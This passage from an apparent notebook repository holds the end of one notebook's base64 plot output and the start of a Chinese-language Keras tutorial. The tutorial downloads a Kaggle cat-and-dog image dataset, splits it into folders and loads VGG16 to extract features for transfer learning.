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bt2ik51FJmRrt27Xb7Ck8JQkRqhJJD7VaVfx8lCBERSUsJQkRybtYs6NYNGjUK77NmVW9/a9eupW/fvvTt25d9992XTp06lc1v3bq1wm2Li4s599xzK/2MQYMGVS/IOkiN1CKSU7NmwYQJsHlzmH///TAPMHZs5u0q0q5dOxYtWgTA5ZdfTuvWrZk8eedoAaWlpTRunP50V1RURFFR2geJy3nhhReqFlwdpisIEcmpiy7amRwSNm8Oy2vS+PHjmThxIocddhgXXHABL7/8Mocffjj9+vVj0KBBLFu2DID58+dzwgknACG5nHHGGQwdOpQePXpw0003le2vdevWZeWHDh3K6NGjOfDAAxk7diyJLoseeeQRDjzwQAYMGMC5555btt9kK1euZPDgwfTv35/+/fuXSzzXXnstBx98MH369GHKlNA/6fLlyznmmGPo06cP/fv35913363ZA1UBXUGISE795z+7t7w6SkpKeOGFFygoKODzzz/nueeeo3Hjxjz11FP88pe/5L777ttlm7feeot58+axceNGevXqxaRJk3Z5duDVV1/ljTfeYL/99uOII47gX//6F0VFRZx55pk8++yzdO/enTFjxqSNae+99+bJJ5+kefPmvPPOO4wZM4bi4mIeffRR/v73v/PSSy/RsmVL1q1bB8DYsWOZMmUKI0eOZMuWLezYsaPmD1QGShAiklNduoRqpXTLa9pJJ51EQUEBABs2bGDcuHG88847mBnbtm1Lu83xxx9Ps2bNaNasGXvvvTcff/wxhYWF5coMHDiwbFnfvn1ZuXIlrVu3pkePHmXPGYwZM4YZM2bssv9t27ZxzjnnsGjRIgoKCnj77bcBeOqppzj99NNp2bIlAG3btmXjxo2sWrWKkSNHAuFht1xSFZOI5NS0aRCdA8u0bBmW17RWrVqVTV9yySUcddRRvP766zz88MMZnwlo1qxZ2XRBQQGlpaVVKpPJDTfcwD777MPixYspLi6utBE9n5QgRCSnxo6FGTOga1cwC+8zZlS9gTpbGzZsoFOnTgD8+c9/rvH99+rVixUrVrBy5UoA5syZkzGOjh070qhRI+666y62b98OwHe+8x3uuOMONkcNNOvWraNNmzYUFhby4IMPAvDVV1+Vrc8FJQgRybmxY2HlStixI7zHnRwALrjgAi688EL69eu3W7/4s9WiRQt+//vfM2zYMAYMGECbNm3YY489dil31llnMXPmTPr06cNbb71VdpUzbNgwTjzxRIqKiujbty/XX389AHfddRc33XQThxxyCIMGDeKjjz6q8dgz0YBBIlJtb775JgcddFC+w8i7TZs20bp1a9yds88+m549e3L++efnO6wy6f6dNGCQiEgO3HrrrfTt25dvfOMbbNiwgTPPPDPfIVVLrHcxmdkw4LdAAfAnd78mZX1X4HagA7AO+IG7l0TLHyAksCbA79z9D3HGKiJSXeeff36tumKortiuIMysAJgODAd6A2PMrHdKseuBO939EGAqcHW0fDVwuLv3BQ4DppjZfnHFKiIiu4qzimkgsNzdV7j7VmA2MCKlTG/g6Wh6XmK9u29196+i5c1ijlNERNKI88TbCfggab4kWpZsMTAqmh4JtDGzdgBm1tnMlkT7uNbdP0z9ADObYGbFZla8Zs2aGv8DREQasnz/Mp8MDDGzV4EhwCpgO4C7fxBVPX0dGGdm+6Ru7O4z3L3I3Ys6dOiQy7hFROq9OBPEKqBz0nxhtKyMu3/o7qPcvR9wUbRsfWoZ4HVgcIyxikgddtRRR/H444+XW3bjjTcyadKkjNsMHTqUxK3xxx13HOvXr9+lzOWXX172PEImDz74IEuXLi2bv/TSS3nqqad2J/xaK84EsQDoaWbdzawpcArwUHIBM2tvZokYLiTc0YSZFZpZi2h6L+BbwLIYYxWROmzMmDHMnj273LLZs2dn7DAv1SOPPMKee+5Zpc9OTRBTp07lmGOOqdK+apvYbnN191IzOwd4nHCb6+3u/oaZTQWK3f0hYChwtZk58CxwdrT5QcCvo+UGXO/ur8UVq4jUnPPOg2hohhrTty/ceGPm9aNHj+biiy9m69atNG3alJUrV/Lhhx8yePBgJk2axIIFC/jyyy8ZPXo0V1xxxS7bd+vWjeLiYtq3b8+0adOYOXMme++9N507d2bAgAFAeMZhxowZbN26la9//evcddddLFq0iIceeohnnnmGq666ivvuu48rr7ySE044gdGjRzN37lwmT55MaWkphx56KLfccgvNmjWjW7dujBs3jocffpht27Zx7733cuCBB5aLaeXKlZx22ml88cUXANx8881lgxZde+213H333TRq1Ijhw4dzzTXXsHz5ciZOnMiaNWsoKCjg3nvvZf/996/WcY+1Dc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\n", 644 | "text/plain": [ 645 | "
" 646 | ] 647 | }, 648 | "metadata": { 649 | "tags": [], 650 | "needs_background": "light" 651 | } 652 | } 653 | ] 654 | } 655 | ] 656 | } 657 | -------------------------------------------------------------------------------- /keras-ml/keras-cat-vs-dog-cnn-feature-extraction.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "nbformat": 4, 3 | "nbformat_minor": 0, 4 | "metadata": { 5 | "colab": { 6 | "provenance": [] 7 | }, 8 | "kernelspec": { 9 | "name": "python3", 10 | "display_name": "Python 3" 11 | }, 12 | "accelerator": "GPU" 13 | }, 14 | "cells": [ 15 | { 16 | "cell_type": "markdown", 17 | "metadata": { 18 | "id": "zHwoKE0CaxIC" 19 | }, 20 | "source": [ 21 | "# Keras 利用預先訓練神經網路特徵萃取法訓練貓狗分類器\n", 22 | "\n", 23 | "## 透過 Kaggle API 下載 Play Dataset\n", 24 | "\n", 25 | "先從 Kaggle 下載資料集,這裡需要註冊 Kaggle 的帳號,並且取得 API Key,記得置換為自己的 API Token 才能下載資料。" 26 | ] 27 | }, 28 | { 29 | "cell_type": "code", 30 | "metadata": { 31 | "id": "TAQRWCI47MBK", 32 | "colab": { 33 | "base_uri": "https://localhost:8080/", 34 | "height": 136 35 | }, 36 | "outputId": "2347c5cd-7a63-4853-8b07-6c19016c64fd" 37 | }, 38 | "source": [ 39 | "#!pip install kaggle\n", 40 | "api_token = {\"username\":\"your_username\",\"key\":\"\"}\n", 41 | "import json\n", 42 | "import zipfile\n", 43 | "import os\n", 44 | "\n", 45 | "if not os.path.exists(\"/root/.kaggle\"):\n", 46 | " os.makedirs(\"/root/.kaggle\")\n", 47 | "\n", 48 | "with open('/root/.kaggle/kaggle.json', 'w') as file:\n", 49 | " json.dump(api_token, file)\n", 50 | "!chmod 600 /root/.kaggle/kaggle.json\n", 51 | "\n", 52 | "if not os.path.exists(\"/kaggle\"):\n", 53 | " os.makedirs(\"/kaggle\")\n", 54 | "os.chdir('/kaggle')\n", 55 | "!kaggle datasets download -d chetankv/dogs-cats-images\n", 56 | "\n", 57 | "!ls -alh '/kaggle'" 58 | ], 59 | "execution_count": null, 60 | "outputs": [ 61 | { 62 | "output_type": "stream", 63 | "text": [ 64 | "dogs-cats-images.zip: Skipping, found more recently modified local copy (use --force to force download)\n", 65 | "total 435M\n", 66 | "drwxr-xr-x 4 root root 4.0K May 21 04:24 .\n", 67 | "drwxr-xr-x 1 root root 4.0K May 21 04:24 ..\n", 68 | "drwxr-xr-x 4 root root 4.0K May 21 04:24 dataset\n", 69 | "-rw-r--r-- 1 root root 435M May 21 04:24 dogs-cats-images.zip\n", 70 | "drwxr-xr-x 3 root root 4.0K May 21 04:24 'dog vs cat'\n" 71 | ], 72 | "name": "stdout" 73 | } 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "metadata": { 79 | "id": "cNSZTgOUDfl8", 80 | "colab": { 81 | "base_uri": "https://localhost:8080/", 82 | "height": 34 83 | }, 84 | "outputId": "0c5f8222-e76c-4ad1-8158-6ddf433be69d" 85 | }, 86 | "source": [ 87 | "!unzip 'dogs-cats-images.zip' > /dev/null" 88 | ], 89 | "execution_count": null, 90 | "outputs": [ 91 | { 92 | "output_type": "stream", 93 | "text": [ 94 | "replace dataset/test_set/cats/cat.4001.jpg? [y]es, [n]o, [A]ll, [N]one, [r]ename: A\n" 95 | ], 96 | "name": "stdout" 97 | } 98 | ] 99 | }, 100 | { 101 | "cell_type": "markdown", 102 | "metadata": { 103 | "id": "0fICHreebcaA" 104 | }, 105 | "source": [ 106 | "看看資料的基本結構,貓與狗訓練資料夾各有 4000 張,測試資料夾各有 1000 張影像" 107 | ] 108 | }, 109 | { 110 | "cell_type": "code", 111 | "metadata": { 112 | "id": "c-fK4ybQD1df", 113 | "colab": { 114 | "base_uri": "https://localhost:8080/", 115 | "height": 153 116 | }, 117 | "outputId": "2b36f0e7-ae1f-4e3b-81e1-58f2b25eb633" 118 | }, 119 | "source": [ 120 | "!echo \"training_set cats: \"\n", 121 | "!echo `ls -alh '/kaggle/dataset/training_set/cats' | grep cat | wc -l`\n", 122 | "!echo \"training_set dogs: \"\n", 123 | "!echo `ls -alh '/kaggle/dataset/training_set/dogs' | grep dog | wc -l`\n", 124 | "!echo \"test_set cats: \"\n", 125 | "!echo `ls -alh '/kaggle/dataset/test_set/cats' | grep cat | wc -l`\n", 126 | "!echo \"test_set dogs: \"\n", 127 | "!echo `ls -alh '/kaggle/dataset/test_set/dogs' | grep dog | wc -l`" 128 | ], 129 | "execution_count": null, 130 | "outputs": [ 131 | { 132 | "output_type": "stream", 133 | "text": [ 134 | "training_set cats: \n", 135 | "4000\n", 136 | "training_set dogs: \n", 137 | "4000\n", 138 | "test_set cats: \n", 139 | "1000\n", 140 | "test_set dogs: \n", 141 | "1000\n" 142 | ], 143 | "name": "stdout" 144 | } 145 | ] 146 | }, 147 | { 148 | "cell_type": "code", 149 | "metadata": { 150 | "id": "YnwrNtM5BxAs", 151 | "colab": { 152 | "base_uri": "https://localhost:8080/", 153 | "height": 119 154 | }, 155 | "outputId": "8e387d85-8186-43f3-86c7-735e2003ce21" 156 | }, 157 | "source": [ 158 | "\n", 159 | "\n", 160 | "import os, shutil\n", 161 | "\n", 162 | "# The path to the directory where the original\n", 163 | "# dataset was uncompressed\n", 164 | "original_dataset_dir = '/kaggle/dataset'\n", 165 | "\n", 166 | "# The directory where we will\n", 167 | "# store our smaller dataset\n", 168 | "base_dir = '/play'\n", 169 | "if not os.path.exists(base_dir):\n", 170 | " os.mkdir(base_dir)\n", 171 | "\n", 172 | "# Directories for our training,\n", 173 | "# validation and test splits\n", 174 | "train_dir = os.path.join(base_dir, 'train')\n", 175 | "if not os.path.exists(train_dir):\n", 176 | " os.mkdir(train_dir)\n", 177 | "validation_dir = os.path.join(base_dir, 'validation')\n", 178 | "if not os.path.exists(validation_dir):\n", 179 | " os.mkdir(validation_dir)\n", 180 | "test_dir = os.path.join(base_dir, 'test')\n", 181 | "if not os.path.exists(test_dir):\n", 182 | " os.mkdir(test_dir)\n", 183 | "\n", 184 | "# Directory with our training cat pictures\n", 185 | "train_cats_dir = os.path.join(train_dir, 'cats')\n", 186 | "if not os.path.exists(train_cats_dir):\n", 187 | " os.mkdir(train_cats_dir)\n", 188 | "\n", 189 | "# Directory with our training dog pictures\n", 190 | "train_dogs_dir = os.path.join(train_dir, 'dogs')\n", 191 | "if not os.path.exists(train_dogs_dir):\n", 192 | " os.mkdir(train_dogs_dir)\n", 193 | "\n", 194 | "# Directory with our validation cat pictures\n", 195 | "validation_cats_dir = os.path.join(validation_dir, 'cats')\n", 196 | "if not os.path.exists(validation_cats_dir):\n", 197 | " os.mkdir(validation_cats_dir)\n", 198 | "\n", 199 | "# Directory with our validation dog pictures\n", 200 | "validation_dogs_dir = os.path.join(validation_dir, 'dogs')\n", 201 | "if not os.path.exists(validation_dogs_dir):\n", 202 | " os.mkdir(validation_dogs_dir)\n", 203 | "\n", 204 | "# Directory with our validation cat pictures\n", 205 | "test_cats_dir = os.path.join(test_dir, 'cats')\n", 206 | "if not os.path.exists(test_cats_dir):\n", 207 | " os.mkdir(test_cats_dir)\n", 208 | "\n", 209 | "# Directory with our validation dog pictures\n", 210 | "test_dogs_dir = os.path.join(test_dir, 'dogs')\n", 211 | "if not os.path.exists(test_dogs_dir):\n", 212 | " os.mkdir(test_dogs_dir)\n", 213 | "\n", 214 | "# Copy first 1000 cat images to train_cats_dir\n", 215 | "fnames = ['cat.{}.jpg'.format(i) for i in range(1, 1001)]\n", 216 | "for fname in fnames:\n", 217 | " src = os.path.join(original_dataset_dir, 'training_set', 'cats', fname)\n", 218 | " dst = os.path.join(train_cats_dir, fname)\n", 219 | " shutil.copyfile(src, dst)\n", 220 | "\n", 221 | "# Copy next 500 cat images to validation_cats_dir\n", 222 | "fnames = ['cat.{}.jpg'.format(i) for i in range(4001, 4501)]\n", 223 | "for fname in fnames:\n", 224 | " src = os.path.join(original_dataset_dir, 'test_set', 'cats', fname)\n", 225 | " dst = os.path.join(validation_cats_dir, fname)\n", 226 | " shutil.copyfile(src, dst)\n", 227 | " \n", 228 | "# Copy next 500 cat images to test_cats_dir\n", 229 | "fnames = ['cat.{}.jpg'.format(i) for i in range(4501, 5001)]\n", 230 | "for fname in fnames:\n", 231 | " src = os.path.join(original_dataset_dir, 'test_set', 'cats', fname)\n", 232 | " dst = os.path.join(test_cats_dir, fname)\n", 233 | " shutil.copyfile(src, dst)\n", 234 | " \n", 235 | "# Copy first 1000 dog images to train_dogs_dir\n", 236 | "fnames = ['dog.{}.jpg'.format(i) for i in range(1, 1001)]\n", 237 | "for fname in fnames:\n", 238 | " src = os.path.join(original_dataset_dir, 'training_set', 'dogs', fname)\n", 239 | " dst = os.path.join(train_dogs_dir, fname)\n", 240 | " shutil.copyfile(src, dst)\n", 241 | " \n", 242 | "# Copy next 500 dog images to validation_dogs_dir\n", 243 | "fnames = ['dog.{}.jpg'.format(i) for i in range(4001, 4501)]\n", 244 | "for fname in fnames:\n", 245 | " src = os.path.join(original_dataset_dir, 'test_set', 'dogs', fname)\n", 246 | " dst = os.path.join(validation_dogs_dir, fname)\n", 247 | " shutil.copyfile(src, dst)\n", 248 | " \n", 249 | "# Copy next 500 dog images to test_dogs_dir\n", 250 | "fnames = ['dog.{}.jpg'.format(i) for i in range(4501, 5001)]\n", 251 | "for fname in fnames:\n", 252 | " src = os.path.join(original_dataset_dir, 'test_set', 'dogs', fname)\n", 253 | " dst = os.path.join(test_dogs_dir, fname)\n", 254 | " shutil.copyfile(src, dst)\n", 255 | "\n", 256 | "print('total training cat images:', len(os.listdir(train_cats_dir)))\n", 257 | "print('total training dog images:', len(os.listdir(train_dogs_dir)))\n", 258 | "print('total validation cat images:', len(os.listdir(validation_cats_dir)))\n", 259 | "print('total validation dog images:', len(os.listdir(validation_dogs_dir)))\n", 260 | "print('total test cat images:', len(os.listdir(test_cats_dir)))\n", 261 | "print('total test dog images:', len(os.listdir(test_dogs_dir)))" 262 | ], 263 | "execution_count": null, 264 | "outputs": [ 265 | { 266 | "output_type": "stream", 267 | "text": [ 268 | "total training cat images: 1000\n", 269 | "total training dog images: 1000\n", 270 | "total validation cat images: 500\n", 271 | "total validation dog images: 500\n", 272 | "total test cat images: 500\n", 273 | "total test dog images: 500\n" 274 | ], 275 | "name": "stdout" 276 | } 277 | ] 278 | }, 279 | { 280 | "cell_type": "markdown", 281 | "metadata": { 282 | "id": "pChQEVYw0GL9" 283 | }, 284 | "source": [ 285 | "## 預先訓練神經網路的特徵萃取法\n", 286 | "\n", 287 | "我們知道 CNN 卷積層的訓練需要很多數據與運算資源,在資料集不足的情況下,從頭訓練卷積層不是一個聰明的方法。何不直接採用大神訓練好的卷積層,加速 AI Time to Market。由於卷積網路可以學習影像特徵,越接近 Input 的 Layer 所能理解的特徵越「普適」而且抽象,像是紋理、顏色等等。越後面的 Layer 所學習到的特徵越接近物體的描述,像是耳朵、眼睛等等。\n", 288 | "\n", 289 | "這裡我們採用 VGG16 Model,並提取 imagenet 包含 CNN 網路,這裡的網路已經經過大量的訓練,可以分辨圖片中的各種特徵。我們可以看到 CNN 在沒有連接層的情況下有 14,714,688 個參數,可見訓練過程實在很耗費運算。" 290 | ] 291 | }, 292 | { 293 | "cell_type": "code", 294 | "metadata": { 295 | "id": "MZEnme1hAO8X", 296 | "colab": { 297 | "base_uri": "https://localhost:8080/", 298 | "height": 799 299 | }, 300 | "outputId": "a4c10d68-c26a-4f3f-9da5-36a4bb004aad" 301 | }, 302 | "source": [ 303 | "# 載入 VGG 網路 Convolutional Base\n", 304 | "from keras.applications import VGG16\n", 305 | "\n", 306 | "conv_base = VGG16(weights='imagenet',\n", 307 | " include_top=False, # 不包含 Full Connection\n", 308 | " input_shape=(150, 150, 3))\n", 309 | "\n", 310 | "conv_base.summary()" 311 | ], 312 | "execution_count": null, 313 | "outputs": [ 314 | { 315 | "output_type": "stream", 316 | "text": [ 317 | "Model: \"vgg16\"\n", 318 | "_________________________________________________________________\n", 319 | "Layer (type) Output Shape Param # \n", 320 | "=================================================================\n", 321 | "input_2 (InputLayer) (None, 150, 150, 3) 0 \n", 322 | "_________________________________________________________________\n", 323 | "block1_conv1 (Conv2D) (None, 150, 150, 64) 1792 \n", 324 | "_________________________________________________________________\n", 325 | "block1_conv2 (Conv2D) (None, 150, 150, 64) 36928 \n", 326 | "_________________________________________________________________\n", 327 | "block1_pool (MaxPooling2D) (None, 75, 75, 64) 0 \n", 328 | "_________________________________________________________________\n", 329 | "block2_conv1 (Conv2D) (None, 75, 75, 128) 73856 \n", 330 | "_________________________________________________________________\n", 331 | "block2_conv2 (Conv2D) (None, 75, 75, 128) 147584 \n", 332 | "_________________________________________________________________\n", 333 | "block2_pool (MaxPooling2D) (None, 37, 37, 128) 0 \n", 334 | "_________________________________________________________________\n", 335 | "block3_conv1 (Conv2D) (None, 37, 37, 256) 295168 \n", 336 | "_________________________________________________________________\n", 337 | "block3_conv2 (Conv2D) (None, 37, 37, 256) 590080 \n", 338 | "_________________________________________________________________\n", 339 | "block3_conv3 (Conv2D) (None, 37, 37, 256) 590080 \n", 340 | "_________________________________________________________________\n", 341 | "block3_pool (MaxPooling2D) (None, 18, 18, 256) 0 \n", 342 | "_________________________________________________________________\n", 343 | "block4_conv1 (Conv2D) (None, 18, 18, 512) 1180160 \n", 344 | "_________________________________________________________________\n", 345 | "block4_conv2 (Conv2D) (None, 18, 18, 512) 2359808 \n", 346 | "_________________________________________________________________\n", 347 | "block4_conv3 (Conv2D) (None, 18, 18, 512) 2359808 \n", 348 | "_________________________________________________________________\n", 349 | "block4_pool (MaxPooling2D) (None, 9, 9, 512) 0 \n", 350 | "_________________________________________________________________\n", 351 | "block5_conv1 (Conv2D) (None, 9, 9, 512) 2359808 \n", 352 | "_________________________________________________________________\n", 353 | "block5_conv2 (Conv2D) (None, 9, 9, 512) 2359808 \n", 354 | "_________________________________________________________________\n", 355 | "block5_conv3 (Conv2D) (None, 9, 9, 512) 2359808 \n", 356 | "_________________________________________________________________\n", 357 | "block5_pool (MaxPooling2D) (None, 4, 4, 512) 0 \n", 358 | "=================================================================\n", 359 | "Total params: 14,714,688\n", 360 | "Trainable params: 14,714,688\n", 361 | "Non-trainable params: 0\n", 362 | "_________________________________________________________________\n" 363 | ], 364 | "name": "stdout" 365 | } 366 | ] 367 | }, 368 | { 369 | "cell_type": "markdown", 370 | "metadata": { 371 | "id": "B3utWju6cYr2" 372 | }, 373 | "source": [ 374 | "接下來透過已經訓練好的卷積網路來萃取特徵,這裡的程式將圖片影像直接送入卷積網路,透過 predict 